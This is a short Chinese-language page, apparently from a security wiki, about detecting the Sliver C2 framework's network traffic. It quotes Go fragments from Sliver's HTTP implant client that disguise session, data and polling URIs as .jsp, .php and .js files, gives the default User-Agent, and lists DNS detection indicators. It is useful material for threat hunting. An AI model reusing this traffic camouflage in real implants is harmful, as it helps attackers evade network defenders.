获取sessionid 会返回jsp结尾的uri

func (s *SliverHTTPClient) jspURL() string {
    curl, _ := url.Parse(s.Origin)
    segments := []string{"app", "admin", "upload", "actions", "api"}
    filenames := []string{"login.jsp", "admin.jsp", "session.jsp", "action.jsp"}
    curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
    return curl.String()
}

回显数据发送,以php结尾的uri

func (s *SliverHTTPClient) phpURL() string {
    curl, _ := url.Parse(s.Origin)
    segments := []string{"api", "rest", "drupal", "wordpress"}
    filenames := []string{"login.php", "signin.php", "api.php", "samples.php"}
    curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
    return curl.String()
}

poll拉取请求,以访问.js结尾的uri

func (s *SliverHTTPClient) jsURL() string {
    curl, _ := url.Parse(s.Origin)
    segments := []string{"js", "static", "assets", "dist", "javascript"}
    filenames := []string{"underscore.min.js", "jquery.min.js", "bootstrap.min.js"}
    curl.Path = s.pathJoinURL(s.randomPath(segments, filenames))
    return curl.String()
}

默认的UA以及请求流量

defaultUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"

req, _ := http.NewRequest(method, uri, body)
req.Header.Set("User-Agent", defaultUserAgent)
req.Header.Set("Accept-Language", "en-US")
query := req.URL.Query()
query.Set("_", fmt.Sprintf("%d", encoderNonce))

dns

  • 对于一个域名有多个5级域名以上的DNS请求,或txt请求记录
  • 一次完整的dns交互可能包含这些敏感DNS域名的字符串 _domainkey.si.se.b

撰写

布局切换

调整 VitePress 的布局样式,以适配不同的阅读习惯和屏幕环境。

全部展开
使侧边栏和内容区域占据整个屏幕的全部宽度。
全部展开,但侧边栏宽度可调
侧边栏宽度可调,但内容区域宽度不变,调整后的侧边栏将可以占据整个屏幕的最大宽度。
全部展开,且侧边栏和内容区域宽度均可调
侧边栏宽度可调,但内容区域宽度不变,调整后的侧边栏将可以占据整个屏幕的最大宽度。
原始宽度
原始的 VitePress 默认布局宽度

页面最大宽度

调整 VitePress 布局中页面的宽度,以适配不同的阅读习惯和屏幕环境。

调整页面最大宽度
一个可调整的滑块,用于选择和自定义页面最大宽度。

内容最大宽度

调整 VitePress 布局中内容区域的宽度,以适配不同的阅读习惯和屏幕环境。

调整内容最大宽度
一个可调整的滑块,用于选择和自定义内容最大宽度。

聚光灯

支持在正文中高亮当前鼠标悬停的行和元素,以优化阅读和专注困难的用户的阅读体验。

ON开启
开启聚光灯。
OFF关闭
关闭聚光灯。

聚光灯样式

调整聚光灯的样式。

置于底部
在当前鼠标悬停的元素下方添加一个纯色背景以突出显示当前鼠标悬停的位置。
置于侧边
在当前鼠标悬停的元素旁边添加一条固定的纯色线以突出显示当前鼠标悬停的位置。